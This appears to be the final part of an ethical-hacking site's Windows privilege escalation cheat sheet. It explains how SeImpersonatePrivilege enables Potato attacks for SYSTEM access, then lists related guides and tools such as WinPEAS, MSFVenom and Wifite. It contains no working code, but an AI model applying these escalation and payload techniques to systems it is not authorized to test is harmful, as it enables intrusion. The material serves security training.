    SeImpersonatePrivilege — shown as 'Impersonate a client after authentication' — lets a service act on behalf of an authenticated client. It is a legitimate design for services, but it is also the basis of every Potato attack: tools like PrintSpoofer and GodPotato abuse it to obtain a SYSTEM token. Check whether your token holds it with whoami /priv.

    How long does it take to learn Windows privilege escalation?

    The core vectors in this Windows privilege escalation cheat sheet — enumeration, unquoted service paths, weak service permissions, AlwaysInstallElevated, and Potato attacks — take a few weeks of regular lab practice to learn hands-on. Fluency takes longer: recognizing which vector fits a new machine, verifying findings quickly, and fixing them properly comes from working through many different lab machines.

    Continue Learning

    Ethical Hacking · Intermediate

    Linux Privilege Escalation: Complete Guide from Enumeration to Root

    Linux privilege escalation from enumeration to root: LinPEAS, SUID, sudo, capabilities, cron and kernel checks — with a worked lab example and cheat sheet.

    Ethical Hacking · Intermediate

    Cloud Penetration Testing: Complete Guide to AWS, Azure and GCP Security Testing

    Cloud penetration testing for AWS, Azure, and GCP: the 6-phase methodology, IAM analysis, chained attack paths, and tools — with a worked lab example.

    Ethical Hacking · Intermediate

    Docker Security Best Practices: How to Secure Docker Containers and Images

    Secure your Docker containers step by step: hardened images, Trivy scanning, secrets, runtime limits and daemon hardening — with a worked Flask example.

    Ethical Hacking · Beginner

    Ethical Hacking Fundamentals: Principles, Methodology, and Best Practices

    Learn the core principles of ethical hacking, the five-phase penetration testing methodology, types of security testing, and how to build your own hacking lab.

    Related Security Tools

    Post Exploitation

    LinPEAS

    LinPEAS is a script that searches for possible paths to escalate privileges on Linux hosts. It highlights findings using colors to signal potential misconfigurations or vulnerabilities.

    Post Exploitation

    WinPEAS

    WinPEAS is a script designed to discover local privilege escalation paths on Windows environments. It audits configurations, user security rights, system vulnerabilities, and active processes.

    Exploitation

    MSFVenom

    MSFVenom is a standalone payload generator and encoder utility within the Metasploit Framework, first introduced in Metasploit 4.0 (2015) to replace the legacy msfpayload and msfencode tools with a single unified interface. It enables security professionals, penetration testers, and students to create, customize, and encode payloads for multiple platforms including Windows, Linux, macOS, Android, and PHP. MSFVenom is widely used in CTF competitions, security training labs, authorized penetration testing engagements, and red team operations to generate reverse shells, Meterpreter payloads, shellcode, and encoded executables. Understanding MSFVenom helps both offensive and defensive security professionals learn payload construction techniques, encoding methods, and detection strategies used in modern cybersecurity.

    Wireless Attacks

    Wifite

    Learn how to use Wifite in Kali Linux with this beginner tutorial: check your WiFi adapter, install Wifite, run your first authorized WiFi audit, capture WPA handshakes and PMKIDs, and crack them with a wordlist. Includes Wifite commands, a worked example, troubleshooting for common errors, and how Wifite compares with Aircrack-ng.

    Written by GO KALI FREE Team